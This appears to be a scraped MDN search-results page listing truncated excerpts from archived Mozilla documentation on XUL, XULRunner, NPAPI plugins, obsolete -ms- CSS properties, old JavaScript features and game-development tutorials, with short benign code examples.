rtafter insertbefore instantapply inverted iscontainer isempty key keycode keytext label lastpage lastselected last-tab left linkedpanel max maxheight maxlength maxpos maxrows maxwidth member menu menuactive min minheight minresultsforpopup minwidth mode modifiers mousethrough movetoclick multiline multiple name negate newlines next noautofocus noautohide noinitialfocus nomatch norestorefocus object observes onbeforeaccept onbookmarkgroup onchange onclick onclosetab oncommand oncommandupdate ondialogaccept ondialogcancel ondialogclosure ondialogextra1 ondialogextra2 ondialoghelp onerror onerrorcommand onextra1 onextra2 oninput onload onnewtab onpageadvanced onpagehide onpagerewound onpageshow onpaneload onpopuphidden onpop...
XUL Events - Archive of obsolete content
attribute: onpopupshown syncfrompreference this event is sent when the element is being changed because a preference changed, or when an element is initialized from a preference.
Index - Archive of obsolete content
ArchiveMozillaXULIndex
210 noinitialfocus xul, xul attribute, xul reference no summary!
MenuItems - Archive of obsolete content
disabling a menuitem to have an item initially disabled, set the disabled attribute to true as in the following example: <menuitem label="undo" accesskey="u" disabled="true"/> when disabled, the item will appear greyed out and the action associated with the item cannot be carried out.
OpenClose - Archive of obsolete content
if you need to perform uninitialization that would be done during these events, this could be done during an unload event.
Panels - Archive of obsolete content
for instance, to have the textbox initially focused in the example above: <panel id="search-panel" onpopupshown="document.getelementbyid('search').focus()"> to disable the adjusting of focus when a panel is opened, set the noautofocus attribute to true: <panel noautofocus="true"> this will cause the focus to remain on the element within the main window that has focus when the panel is opened.
controllers - Archive of obsolete content
example <window id="controller-example" title="controller example" onload="init();" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> <script> function init() { var list = document.getelementbyid("thelist"); var listcontroller = { supportscommand : function(cmd){ return (cmd == "cmd_delete"); }, iscommandenabled : function(cmd){ if (cmd == "cmd_delete") return (list.selecteditem != null); return false; }, docommand : function(cmd){ li...
editingSession - Archive of obsolete content
« xul reference editingsession type: nsieditingsession the editing session for the editor which is used to initialize the editor.
eventNode - Archive of obsolete content
the initial value for this property is determined by the value of the eventnode attribute.
RDF Modifications - Archive of obsolete content
as when generating the results initially, only the highest matching query needs to be applied.
Template Logging - Archive of obsolete content
in addition, each result generated when the template is first created and initialized is logged.
Using Recursive Templates - Archive of obsolete content
since the initial reference node is the root of the xml source document, the results are two elements, one for each group element.
Code Samples - Archive of obsolete content
const path = "c:\\windows\\charmap.exe" var file = components .classes["@mozilla.org/file/local;1"] .createinstance(components.interfaces.nsilocalfile) file.initwithpath(path) file.launch() open a web page if your button is in firefox or seamonkey, use code like this to open a web page.
SeaMonkey - making custom toolbar (SM ver. 1.x) - Archive of obsolete content
in your working directory, create a plain text file named: install.js copy the following content, and paste it into the new file: const title = "custom toolbar button" const name = "custombutton" const version = "1.0" r = initinstall(title, name, version) || adddirectory(null, "content", getfolder("chrome"), name) || registerchrome(content + delayed_chrome, getfolder("chrome", name), "") if (r) cancelinstall(r) else performinstall(), alert("now restart seamonkey") customize the title, name and (optionally) version definitions, changing the text between double-quote characters on those three lines.
Adding Event Handlers to XBL-defined Elements - Archive of obsolete content
in the next section, we'll see how to extend existing xbl definitions.
Adding Methods to XBL-defined Elements - Archive of obsolete content
it is used to initialize the content such as loading preferences or setting the default values of fields.
Adding Properties to XBL-defined Elements - Archive of obsolete content
in this example, no content has been placed inside either the xul box or its definition in xbl, which is perfectly valid.
Adding Style Sheets - Archive of obsolete content
this will be changed by a script so it was left in, as it doesn't really make sense to have the progress bar visible initially.
Anonymous Content - Archive of obsolete content
for example, take this xul fragment, assuming it is bound to the scrollbar xbl earlier: <scrollbar/> <scrollbar> <button label="overridden"/> </scrollbar> the first scroll bar, because it has no content of its own, will have its content generated from a binding definition declared in an xbl file.
Commands - Archive of obsolete content
<window id="controller-example" title="controller example" onload="init();" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> <script> function init() { var list = document.getelementbyid("thelist"); var listcontroller = { supportscommand : function(cmd){ return (cmd == "cmd_delete"); }, iscommandenabled : function(cmd){ if (cmd == "cmd_delete") return (list.selecteditem != null); return false; }, docomma...
Features of a Window - Archive of obsolete content
the width and height only specify the initial size of the window.
Focus and Selection - Archive of obsolete content
example 3 : source view <window id="focus-example" title="focus example" onload="init();" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> <script> function init(){ addeventlistener("focus",setfocusedelement,true); } function setfocusedelement(){ var focused = document.commanddispatcher.focusedelement; document.getelementbyid("focused").value = focused.tagname; } </script> <hbox> <label control="username" value="user name:"/> <textbox id=...
Grids - Archive of obsolete content
ArchiveMozillaXULTutorialGrids
the initial width of a column is determined by the largest element in the column.
Modifying a XUL Interface - Archive of obsolete content
note: if you're creating the checkbox dynamically and it's not yet added to the dom, you must use setattribute("checked", "false") instead, because the xbl isn't initiated yet.) example 6 : source view <button label="change" oncommand="this.nextsibling.checked = !this.nextsibling.checked;"/> <checkbox label="check for messages"/> radio buttons may be selected as well using properties, however since only one in a group may be selected at a time, the others must all be unchecked when one is checked.
More Tree Features - Archive of obsolete content
you can have the child rows initially displayed by adding the open attribute.
RDF Datasources - Archive of obsolete content
you can use this datasource if you want to dynamically set the datasource using a script, but don't want one initially or don't know its exact url.
Scroll Bars - Archive of obsolete content
the initial value in this example is 20.
Splitters - Archive of obsolete content
set this to open, the default, to have the split panel initially open, or set it to collapsed to have one of the panels shrunk down (collapsed) and the other occupying all of the space.
XBL Inheritance - Archive of obsolete content
« previousnext » in this section, we'll look at how to extend existing xbl definitions.
XUL Structure - Archive of obsolete content
it contains some global dialogs and definitions.
Using multiple DTDs - Archive of obsolete content
normally you have a single dtd (document type definition) to localize a specific xul file.
XUL FAQ - Archive of obsolete content
(the animation effect when you open the preference window will not stop, if a script outside <prefpane> refers any element inside <prefpane>, while initializing the window.
XULBrowserWindow - Archive of obsolete content
see the linked interfaces for the definition of the implemented methods.
The Implementation of the Application Object Model - Archive of obsolete content
a single content node could be initialized with its uri by its parent node, it could store its uri in a member variable, and it could use that as a basis for resolving the pluggable data source from which it would obtain its information.
arrowscrollbox - Archive of obsolete content
smoothscroll type: boolean true initially enables smooth scrolling for the corresponding arrowscrollbox, false disables it.
preference - Archive of obsolete content
void setelementvalue(in domelement element); initializes the supplied element from the value stored in the preference.
scale - Archive of obsolete content
ArchiveMozillaXULscale
the default value is 100 for scales and infinity for number boxes.
tabbox - Archive of obsolete content
the initial value for this property is determined by the value of the eventnode attribute.
Components - Archive of obsolete content
registration most initial problems with components are due to registration.
Dialogs in XULRunner - Archive of obsolete content
the xul filepickers are xpcom components and must be instantiated before using, like this: function dofileopen() { /* see: http://developer.mozilla.org/en/docs/xul_tutorial:open_and_save_dialogs */ var nsifilepicker = components.interfaces.nsifilepicker; var fp = components.classes["@mozilla.org/filepicker;1"].createinstance(nsifilepicker); fp.init(window, "open file", nsifilepicker.modeopen); fp.appendfilters(nsifilepicker.filtertext | nsifilepicker.filterall); var res = fp.show(); if (res == nsifilepicker.returnok) { var thefile = fp.file; alert(thefile.leafname); // --- do something with the file here --- } } xul does not currently support any other common dialogs.
How to enable locale switching in a XULRunner application - Archive of obsolete content
here is a code snippet showing how this is done: the definition of the xul control: <listbox id="locale-listbox"> <!-- generated list items go in here --> </listbox> <button label="&switchlocale.button;" oncommand="changelocale()"/> the javascript code to populate the control: try { // query available and selected locales var chromeregservice = components.classes["@mozilla.org/chrome/chrome-registry;1"].getservice(); var xulchromereg = chromeregse...
XULRunner tips - Archive of obsolete content
pref("signon.remembersignons", true); pref("signon.expiremasterpassword", false); pref("signon.signonfilename", "signons.txt"); you also need to get an instance of the login manager service, which internally initializes the system: components.classes["@mozilla.org/login-manager;1"].getservice(components.interfaces.nsiloginmanager); using firefox to run xulrunner applications firefox 3 and up contain the xulrunner runtime.
What XULRunner Provides - Archive of obsolete content
extension manager file picker (uses native os filepicker as appropriate) find toolbar helper app dialog/ui security ui (maintenance of ssl keychains, etc) embedding apis the following embedding apis are provided by xulrunner: cross-platform embedding (xre_initembedding) javaxpcom embedding gtkmozembed (linux only) activex control (windows only) (not yet complete) obsolete since gecko 7.0 nsview-based-widget (mac os x only) (not yet complete) the "maybe" list the following features have been discussed and may be included if developer time permits and code size is controlled: ldap support spellchecking support (with or without dictionaries ...
application/http-index-format specification - Archive of obsolete content
201 data whose definition stems from a prior 200 line.
Archived Mozilla and build documentation - Archive of obsolete content
searches, lookups, package tracking, and even word definitions can all be retrieved from user-customized bookmarks.
2006-10-06 - Archive of obsolete content
discussions w3c sets road map for web app accessibility the w3c introduced its wai-aria (web accessibility initiative for accessible rich internet applications) roadmap--a set of guidelines for developers to make accessible web content.
2006-11-24 - Archive of obsolete content
a user questions if there is something broken in a nightly build since the user keeps getting this error from the trunk: "firefox.exe - application error: the application failed to initialize properly." removal of false positives in firefox 2 phishing a user inquires how to remove false positives from the firefox phising filters.
2006-09-29 - Archive of obsolete content
details can be located at layout confusion refactoring the nshtmlreflowstate(computeblockboxdata, initconstraints) and nsimageframe::getdesiredsize which uses ns_inrinsicsize, into the following method: /** * compute the size that a frame will occupy.
NPAPI plugin developer guide - Archive of obsolete content
d receiving streams working with urls getting version and ui information displaying messages on the status line making plug-ins scriptable building plug-ins building, platforms, and compilers building carbonized plug-ins for mac os x type libraries installing plug-ins native installers xpi plug-ins installations plug-in installation and the windows registry initialization and destruction initialization instance creation instance destruction shutdown initialize and shutdown example drawing and event handling the npwindow structure drawing plug-ins printing the plug-in setting the window getting information windowed plug-ins mac os windows unix event handling for windowed plug-ins windowless plug-ins ...
NPEvent - Archive of obsolete content
the npevent structure is defined as xevent, the definition of the event type used by the xwindows platform.
NPN_CreateObject - Archive of obsolete content
the newly created npobject's reference count is initialized to 1 before it is returned.
NPN_DestroyStream - Archive of obsolete content
stream pointer to current stream, initiated by either the browser or the plug-in.
NPN_PluginThreadAsyncCall - Archive of obsolete content
« gecko plugin api reference « browser side plug-in api summary thread safe way to request that the browser calls a plug-in function on the browser or plugin thread (the thread on which the plug-in was initiated).
NPN_SetValue - Archive of obsolete content
nppvpluginkeeplibraryinmemory specifies that the plugin does not want to be unloaded from memory after the page which initiated it has gone.
NPP - Archive of obsolete content
syntax typedef struct _npp { void* pdata; /* plug-in private data */ void* ndata; /* mozilla private data */ } npp_t; typedef npp_t* npp; fields the data structure has the following fields: pdata a value, whose definition is up to the plug-in, that the plug-in can use to store a pointer to an internal data structure associated with the instance; this field isn't modified by the browser.
NPP_Destroy - Archive of obsolete content
use np_shutdown to delete any data allocated in np_initialize and intended to be shared by all instances of a plug-in.
NPP_DestroyStream - Archive of obsolete content
npres_user_break: user canceled stream directly by clicking the stop button or indirectly by some action such as deleting the instance or initiating higher-priority network operations.
NPP_New - Archive of obsolete content
it is called after np_initialize and is passed the mime type, embedded or full-screen display mode, and, for embedded plug-ins, information about html embed arguments.
NPP_NewStream - Archive of obsolete content
implementation note: some plugins, notably silverlight, do not set this outparam, and rely on the outparam being initialized to a default np_normal value.
NPP_URLNotify - Archive of obsolete content
npres_user_break: user canceled stream directly by clicking the stop button or indirectly by some action such as deleting the instance or initiating higher-priority network operations.
NPRegion - Archive of obsolete content
for information about the region type definition used by your platform, see your platform documentation.
NPAPI plug-in side API - Archive of obsolete content
npp_destroy npp_destroystream npp_getvalue np_getvalue npp_handleevent np_initialize npp_new npp_newstream npp_print npp_setvalue npp_setwindow np_shutdown npp_streamasfile npp_urlnotify npp_write npp_writeready ...
Adobe Flash - Archive of obsolete content
see also macromedia flash developer documentation scripting the flash player plugin communication between javascript and macromedia flash fscommands (definition from the actionscript dictonary) actionscript dictionary mdc resources using the right markup to invoke plugins plugin central notable bugs bug 184722 bug 180378 bug 203861 ...
The First Install Problem - Archive of obsolete content
problem definition the first install problem is the name given to the conditions arising when a plugin or embeddable software installs itself on a system first, before any other gecko-based browser.
0.90 - Archive of obsolete content
ArchiveRSSVersion0.90
when rss 0.90 was created, the rss initialization stood for rich site summary and not really simple syndication.
Encryption and Decryption - Archive of obsolete content
this would not be a desirable way to encrypt sensitive data, however, because it means that anyone with your public key, which is by definition published, could decrypt the data.
Introduction to Public-Key Cryptography - Archive of obsolete content
as part of the initial "handshake" process, the server presents its certificate to the client to authenticate the server's identity.
NSPR Release Engineering Guide - Archive of obsolete content
feature complete update ...pr/include/prinit.h with release numbers build all targets, debug and optimized on all platforms using local directories run the test suite on all targets verify release numbers show up in binaries resolve testing anomalies tag the tree with nsprpub_release_x_y_z_beta beta release checkout a whole new tree using the tag from above build all targets, debug and optimized on all platforms using the command: gmake release mdist=<dir>/mdist build_number=vx.y.z [build_opt=1 | use_debug_rtl=1] copy the bits from mdist to /share/builds/components/nspr20/.vx.y.z 1 run e...
SSL and TLS - Archive of obsolete content
an ssl/tls session always begins with an exchange of messages called the ssl handshake, initial communication between the server and client.
Theme changes in Firefox 2 - Archive of obsolete content
following style is no longer used in firefox 2 and has been removed: menulist > menupopup > menuitem[_moz-menuactive="true"] the firefox 2 theme also adds the following new styles: .menu-iconic-icon menubar > menu menubar > menu[_moz-menuactive="true"][open="true"] menuitem[type="checkbox"] > .menu-iconic-left menuitem[type="radio"] > .menu-iconic-left you may wish to change the definitions of other styles as well.
Using SSH to connect to CVS - Archive of obsolete content
posix shell eval `ssh-agent -s` ssh-add ~/.ssh/id_dsa $shell ssh-agent -k exit x windows in "~/.xinitrc" add "ssh-add".
Using the W3C DOM - Archive of obsolete content
use no static css declarations for the element and initialize its css properties from javascript through the dom.
-moz-window-shadow - Archive of obsolete content
initial valuedefaultapplies toall elements that create native windows, e.g.
-ms-accelerator - Archive of obsolete content
initial valuefalseapplies toall elementsinheritednocomputed valueas specifiedanimation typediscrete syntax /* the object is not a keyboard shortcut (the default) */ -ms-accelerator: false /* the object is a keyboard shortcut */ -ms-accelerator: true values false the object is not a keyboard shortcut.
-ms-block-progression - Archive of obsolete content
initial valuetbapplies toall elementsinheritednocomputed valueas specifiedanimation typediscrete syntax values tb default.
-ms-content-zoom-chaining - Archive of obsolete content
initial valuenoneapplies tonon-replaced block-level elements and non-replaced inline-block elementsinheritednocomputed valueas specifiedanimation typediscrete syntax values none the initial value.
-ms-content-zoom-limit-max - Archive of obsolete content
initial value400%applies tonon-replaced block-level elements and non-replaced inline-block elementsinheritednopercentagesthe largest allowed zoom factor.
-ms-content-zoom-limit-min - Archive of obsolete content
initial value100%applies tonon-replaced block-level elements and non-replaced inline-block elementsinheritednopercentagesthe smallest allowed zoom factor.
-ms-content-zoom-limit - Archive of obsolete content
initial valueas each of the properties of the shorthand:-ms-content-zoom-limit-max: 400%-ms-content-zoom-limit-min: 100%applies tonon-replaced block-level elements and non-replaced inline-block elementsinheritednopercentagesas each of the properties of the shorthand:-ms-content-zoom-limit-max: the largest allowed zoom factor.
-ms-content-zoom-snap-type - Archive of obsolete content
initial valuenoneapplies tonon-replaced block-level elements and non-replaced inline-block elementsinheritednocomputed valueas specifiedanimation typediscrete syntax values none initial value.
-ms-content-zoom-snap - Archive of obsolete content
initial valueas each of the properties of the shorthand:-ms-content-zoom-snap-type: none-ms-content-zoom-snap-points: snapinterval(0%, 100%)applies tonon-replaced block-level elements and non-replaced inline-block elementsinheritednocomputed valueas each of the properties of the shorthand:-ms-content-zoom-snap-type: as specified-ms-content-zoom-snap-points: as specifiedanimation typediscrete syntax the -ms-content-zoom-snap shorthand property is specified as one or both of the following content zoom snap values, in order, separated by spaces.
-ms-filter - Archive of obsolete content
initial value"" (the empty string)applies toall elementsinheritednocomputed valueas specifiedanimation typediscrete remarks the following table lists the most popular dx filters and their standards-based alternatives: dx filter standards-based alternative alpha opacity alphaimageloader <img> or background-image and related properties gradient back...
-ms-flow-from - Archive of obsolete content
initial valuenoneapplies tonon-replaced elementsinheritednocomputed valueas specifiedanimation typediscrete syntax values none default.
-ms-flow-into - Archive of obsolete content
initial valuenoneapplies toiframe elementsinheritednocomputed valueas specifiedanimation typediscrete syntax values none default.
-ms-high-contrast-adjust - Archive of obsolete content
initial valueautoapplies toall elementsinheritedyescomputed valueas specifiedanimation typediscrete syntax values auto indicates the applicable css properties will be adjusted as expected when the system is in high contrast mode.
-ms-hyphenate-limit-chars - Archive of obsolete content
initial valueautoapplies toall elementsinheritedyescomputed valueas specifiedanimation typediscrete syntax values auto corresponds to a value of 5 2 2, indicating a 5-character word limit, 2 characters required before a hyphenation break, and 2 characters required following a hyphenation break.
-ms-hyphenate-limit-zone - Archive of obsolete content
initial value0applies toblock container elementsinheritedyespercentagescalculated with respect to the width of the line boxcomputed valueas specifiedanimation typediscrete syntax values <percentage> an integer followed by a percent sign (%), which specifies the width of the hyphenation zone, calculated with respect to the line box.
-ms-ime-align - Archive of obsolete content
initial valueautoapplies toall elementsinheritednocomputed valueas specifiedanimation typediscrete syntax /* keyword values */ -ms-ime-align: auto; -ms-ime-align: after; values auto initial value.
-ms-overflow-style - Archive of obsolete content
initial valueautoapplies tonon-replaced block-level elements and non-replaced inline-block elementsinheritedyescomputed valueas specifiedanimation typediscrete syntax values auto the initial value.
-ms-scroll-chaining - Archive of obsolete content
initial valuechainedapplies tonon-replaced block-level elements and non-replaced inline-block elementsinheritednocomputed valueas specifiedanimation typediscrete syntax values chained initial value.
-ms-scroll-limit-x-max - Archive of obsolete content
initial valueautoapplies tonon-replaced block-level elements and non-replaced inline-block elementsinheritednocomputed valueas specifiedanimation typediscrete syntax values auto the maximum value for the scrollleft property is equal to element.scrollwidth.
-ms-scroll-limit-x-min - Archive of obsolete content
initial value0applies tonon-replaced block-level elements and non-replaced inline-block elementsinheritednocomputed valueas specifiedanimation typediscrete syntax values <length> the minimum value for the scrollleft property.
-ms-scroll-limit-y-max - Archive of obsolete content
initial valueautoapplies tonon-replaced block-level elements and non-replaced inline-block elementsinheritednocomputed valueas specifiedanimation typediscrete syntax values auto the maximum value for the scrolltop property is equal to element.scrollheight.
-ms-scroll-limit-y-min - Archive of obsolete content
initial value0applies tonon-replaced block-level elements and non-replaced inline-block elementsinheritednocomputed valueas specifiedanimation typediscrete syntax values <length> the minimum value for the scrolltop property.
-ms-scroll-limit - Archive of obsolete content
initial valueas each of the properties of the shorthand:-ms-scroll-limit-x-min: 0-ms-scroll-limit-y-min: 0-ms-scroll-limit-x-max: auto-ms-scroll-limit-y-max: autoapplies tonon-replaced block-level elements and non-replaced inline-block elementsinheritednocomputed valueas each of the properties of the shorthand:-ms-scroll-limit-x-min: as specified-ms-scroll-limit-y-min: as specified-ms-scroll-limit-x-max: as specified-ms-scroll-limit-y-max: as specifiedanimation typediscrete syntax the -ms-scroll-limit property is specified as one or more of the following scroll limit values, in the order ...
-ms-scroll-snap-x - Archive of obsolete content
initial valueas each of the properties of the shorthand:-ms-scroll-snap-type: none-ms-scroll-snap-points-x: snapinterval(0px, 100%)applies tonon-replaced block-level elements and non-replaced inline-block elementsinheritednocomputed valueas each of the properties of the shorthand:-ms-scroll-snap-type: as specified-ms-scroll-snap-points-x: as specifiedanimation typediscrete syntax values the -ms-scroll-snap-x shorthand property is specified as one or both of the following values, in order and separated by spaces.
-ms-scroll-snap-y - Archive of obsolete content
initial valueas each of the properties of the shorthand:-ms-scroll-snap-type: none-ms-scroll-snap-points-y: snapinterval(0px, 100%)applies tonon-replaced block-level elements and non-replaced inline-block elementsinheritednocomputed valueas each of the properties of the shorthand:-ms-scroll-snap-type: as specified-ms-scroll-snap-points-y: as specifiedanimation typediscrete syntax values the -ms-scroll-snap-y shorthand property is specified as one or both of the following values, in order and separated by spaces.
-ms-scrollbar-3dlight-color - Archive of obsolete content
initial valuedepends on user agentapplies toall elementsinheritedyescomputed valueas specifiedanimation typediscrete syntax values <color> the color of the top and left edges of the scroll box and scroll arrows of the scroll bar.
-ms-scrollbar-arrow-color - Archive of obsolete content
initial valuebuttontextapplies toall elementsinheritedyescomputed valueas specifiedanimation typediscrete syntax values <color> the color of the scroll arrows of the scroll bar.
-ms-scrollbar-base-color - Archive of obsolete content
initial valuedepends on user agentapplies toall elementsinheritedyescomputed valueas specifiedanimation typediscrete syntax values <color> the base color of the main elements of a scroll bar.
-ms-scrollbar-darkshadow-color - Archive of obsolete content
initial valuethreeddarkshadowapplies toall elementsinheritedyescomputed valueas specifiedanimation typediscrete syntax values <color> the color of the scroll bar's gutter.
-ms-scrollbar-face-color - Archive of obsolete content
initial valuethreedfaceapplies toall elementsinheritedyescomputed valueas specifiedanimation typediscrete syntax values <color> the color of the scroll box and scroll arrows.
-ms-scrollbar-highlight-color - Archive of obsolete content
initial valuethreedhighlightapplies toall elementsinheritedyescomputed valueas specifiedanimation typediscrete syntax values <color> the color of the slider tray, the top and left edges of the scroll box, and the scroll arrows of a scroll bar.
-ms-scrollbar-shadow-color - Archive of obsolete content
initial valuethreeddarkshadowapplies toall elementsinheritedyescomputed valueas specifiedanimation typediscrete syntax values <color> the color of the bottom and right edges of the scroll box and scroll arrows of a scroll bar.
-ms-scrollbar-track-color - Archive of obsolete content
initial valuescrollbarapplies toall elementsinheritedyescomputed valueas specifiedanimation typediscrete syntax values <color> the color of the track element.
-ms-text-autospace - Archive of obsolete content
initial valuenoneapplies toall elementsinheritednocomputed valueas specifiedanimation typediscrete syntax values none no effect takes place; that is, no extra space is added.
-ms-wrap-flow - Archive of obsolete content
initial valueautoapplies toblock-level elementsinheritednocomputed valueas specifiedanimation typediscrete syntax values auto for floated elements, an exclusion is created; for all other elements, an exclusion is not created.
-ms-wrap-margin - Archive of obsolete content
initial value0applies toexclusion elementsinheritednocomputed valueas specifiedanimation typediscrete syntax values <length> the margin size, a non-negative value.
-ms-wrap-through - Archive of obsolete content
initial valuewrapapplies toblock-level elementsinheritednocomputed valueas specifiedanimation typediscrete syntax values wrap the exclusion element inherits its parent node's wrapping context.
E4X for templating - Archive of obsolete content
sion) */ function foreach (min, max, arr, h, lev) { var k, ret=<></>, it = 1; lev = lev || 0; if (typeof min === 'number') { if (typeof max !== 'number') { lev = h; h = arr; arr = max; max = min; min = 1; } } else { lev = arr; h = max; arr = min; max = number.positive_infinity; min = 1; } if (h.length === 1) { for (k in arr) { if (it < min) { ++it; continue; } if (it > max) { break; } ret+=h(arr[k], it, lev); // need to get it or lev via arguments[] since our length detection implies no explicit additional params; otherwise define with mo...
Processing XML with E4X - Archive of obsolete content
a full definition of e4x can be found in the ecma-357 specification.
Array comprehensions - Archive of obsolete content
"2b", "2c", "3b", "3c"], the same as below: [for (i of numbers) for (j of letters) if (i > 1) if(j > 'a') i + j] // ["2b", "2c", "3b", "3c"] [for (i of numbers) if (i > 1) [for (j of letters) if(j > 'a') i + j]] // [["2b", "2c"], ["3b", "3c"]], not the same as below: [for (i of numbers) [for (j of letters) if (i > 1) if(j > 'a') i + j]] // [[], ["2b", "2c"], ["3b", "3c"]] specifications was initially in the ecmascript 2015 draft, but got removed in revision 27 (august 2014).
ActiveXObject - Archive of obsolete content
for example, for the local intranet zone, you typically need to change a custom setting to "initialize and script activex controls not marked as safe for scripting." to identify members of an automation object that you can use in your code, you may need to use a com object browser, such as the ole/com object viewer, if no reference documentation is available for the automation object.
Debug.msTraceAsyncOperationStarting - Archive of obsolete content
initiates a trace for an asynchronous operation.
Debug - Archive of obsolete content
debug.mstraceasyncoperationstarting initiates a trace for an asynchronous operation.
New in JavaScript 1.1 - Archive of obsolete content
--> new features in javascript 1.1 new objects array boolean function number new properties number.max_value number.min_value nan number.negative_infinity number.positive_infinity new methods array.prototype.join() array.prototype.reverse() array.prototype.sort() array.prototype.split() new operators typeof void other new features <noscript> liveconnect.
New in JavaScript 1.3 - Archive of obsolete content
--> new features in javascript 1.3 new globals nan infinity undefined new methods isfinite() function.prototype.call() function.prototype.apply() date.utc() date.prototype.getfullyear() date.prototype.setfullyear() date.prototype.getmilliseconds() date.prototype.setmilliseconds() date.prototype.getutcfullyear() date.prototype.getutcmonth() date.prototype.getutcdate() date.prototype.getutchours() date.prototype.getutcminutes() date.prot...
New in JavaScript 1.8.1 - Archive of obsolete content
new features in javascript 1.8.1 object.getprototypeof() support for native json string.prototype.trim() string.prototype.trimleft() string.prototype.trimright() changed functionality in javascript 1.8.1 implicit setting of properties in object and array initializers no longer execute setters in javascript.
New in JavaScript 1.8.5 - Archive of obsolete content
global objects made read only: the nan, infinity, and undefined global objects have been made read only, per the ecmascript 5 specification.
New in JavaScript - Archive of obsolete content
with new ecma standards, javascript language features are now often mentioned with their initial definition in ecma-262 editions such as ecmascript 2015.
Object.prototype.__noSuchMethod__ - Archive of obsolete content
arents for (var i = 0; i < parents.length; i++) { // if we find a function on the parent, we call it if (typeof parents[i][name] == 'function') { return parents[i][name].apply(this, args); } } // if we get here, the method hasn't been found throw new typeerror; } // used to add a parent for multiple inheritance function addparent(obj, parent) { // if the object isn't initialized, initialize it if (!obj.__parents_) { obj.__parents_ = []; obj.__nosuchmethod__ = nomethod; } // add the parent obj.__parents_.push(parent); } an example of using this idea is shown below.
handler.enumerate() - Archive of obsolete content
var p = new proxy({}, { enumerate(target) { return 1; } }); for (var x in p) {} // typeerror is thrown note: both examples make use of the shorthand syntax for method definitions.
MSX Emulator (jsMSX) - Archive of obsolete content
the initial motivation was to find some interesting project to develop while exploring the possibilities of the <canvas> tag and javascript language in the most recent web browsers like firefox 2.
background-size - Archive of obsolete content
agreed; we should definitely encourage people to look stuff up by engine rather than browser.
Implementation Status - Archive of obsolete content
278448; 338146; 4.2 initialization events supported 4.2.1 xforms-model-construct supported 4.2.2 xforms-model-construct-done supported 4.2.3 xforms-ready supported 4.2.4 xforms-model-destruct supported 4.3.1 ...
XForms Repeat Element - Archive of obsolete content
node set binding special startindex - optional 1-based initial value of the repeat index.
XForms Submit Element - Archive of obsolete content
introduction this form control initiates a submission.
XForms Trigger Element - Archive of obsolete content
introduction allows the user to initiate actions (see the spec).
Mozilla XForms User Interface - Archive of obsolete content
trigger allows the user to initiate actions (see the spec).
Window: devicelight event - Archive of obsolete content
examples window.addeventlistener('devicelight', function(event) { console.log(event.value); }); specifications specification status comment ambient light sensorthe definition of 'ambient light events' in that specification.
Archived open Web documentation - Archive of obsolete content
sharp variables in javascript a sharp variable is a syntax in object initializers that allows serialization of objects that have cyclic references or multiple references to the same object.
The Business Benefits of Web Standards - Archive of obsolete content
furthermore by strictly marking the production process, time, budgets, and resources for both the initial development and the ongoing publishing of emerging content can be measured and controlled.
Archive of obsolete content
it offers powerful and yet intuitive searching based on xpath, has sql-like syntax for the query portion, and has scripting features such as function and variable definitions, xml-inclusion, etc.
Game monetization - Game development
remember that it can be cancelled, so it's not an indefinitely working solution.
GLSL Shaders - Game development
applying the shaders to actually apply the newly created shaders to the cube, comment out the basicmaterial definition first: // var basicmaterial = new three.meshbasicmaterial({color: 0x0095dd}); then, create the shadermaterial: var shadermaterial = new three.shadermaterial( { vertexshader: document.getelementbyid( 'vertexshader' ).textcontent, fragmentshader: document.getelementbyid( 'fragmentshader' ).textcontent }); this shader material takes the code from the scripts and applies it to the object t...
3D games on the Web - Game development
you should definitely check out glsl shaders article to learn more about them.
Implementing game control mechanisms - Game development
the first one initializes phaser, the second preloads all the assets, the third one controls the main menu welcoming the player, and the fourth controls the actual gameplay.
Crisp pixel art look with image-rendering - Game development
this article discusses a useful technique for giving your canvas/webgl games a crisp pixel art look, even on high definition monitors.
Efficient animation for web games - Game development
requestanimationframe includes a domhighrestimestamp in its callback function prototype, which you definitely should use (as opposed to using the date object), as this will be the time the frame began rendering, and ought to make your animations look more fluid.
Square tilemaps implementation: Static maps - Game development
this snippets assumes the following definitions: context: a 2d canvas context.
asm.js - Game development
it pushes js engines to optimize this kind of code, and gives compilers like emscripten a clear definition of what kind of code to generate.
Game over - Game development
first, replace where you initially called setinterval() setinterval(draw, 10); with: var interval = setinterval(draw, 10); then replace the second if statement with the following: if(y + dy < ballradius) { dy = -dy; } else if(y + dy > canvas.height-ballradius) { alert("game over"); document.location.reload(); clearinterval(interval); // needed for chrome to end game } letting the paddle hit the ...
Track the score and win - Game development
the font definition looks exactly like the one in css — you can set the size and font type in the font() method.
Animations and tweens - Game development
that's the expanded version of the tween definition, but we can also use the shorthand syntax: game.add.tween(brick.scale).to({x:2,y:2}, 500, phaser.easing.elastic.out, true, 100); this tween will double the brick's scale in half a second using elastic easing, will start automatically, and have a delay of 100 miliseconds.
Load the assets and print them on screen - Game development
add the following line between the game initialization code (our var game...
Move the ball - Game development
updating the ball's position on each frame remember the update() function and its definition?
Physics - Game development
first, let's initialize the arcade physics engine in our game.
Player paddle and controls - Game development
rendering the paddle, with physics next up, we will init our paddle by adding the following add.sprite() call inside the create() function — add it right at the bottom: paddle = game.add.sprite(game.world.width*0.5, game.world.height-5, 'paddle'); we can use the world.width and world.height values to position the paddle exactly where we want it: game.world.width*0.5 will be right in the middle of the screen.
Scaling - Game development
the stage object has a backgroundcolor property for this purpose, which we can set using css color definition syntax.
Plug-in Development Overview - Gecko Plugin API Reference
npp_getvalue is called after the plug-in is initialized to get the scripting interface while np_getvalue is called during initialization to retrieve the plug-in's name and description, which will appear in the navigator.plugins dom object which is used to populate about:plugins.
Mobile accessibility - Learn web development
this occurs because we are using code such as the following: div.onmousedown = function() { initialboxx = div.offsetleft; initialboxy = div.offsettop; movepanel(); } document.onmouseup = stopmove; to enable other forms of control, you need to use different, yet equivalent events — for example, touch events work on touchscreen devices: div.ontouchstart = function(e) { initialboxx = div.offsetleft; initialboxy = div.offsettop; positionhandler(e); movepanel(); } panel.ontouche...
What is accessibility? - Learn web development
importantly, though there is a lot of diversity within clinical definitions of cognitive impairments, people with them experience a common set of functional problems.
Debugging CSS - Learn web development
this includes a description of properties that you may not have explicitly used on the element, but which do have initial values set.
Normal Flow - Learn web development
by default, block-level elements are laid out in the block flow direction, based on the parent's writing mode (initial: horizontal-tb) — each one will appear on a new line below the last one, and they will be separated by any margin that is set on them.
How CSS is structured - Learn web development
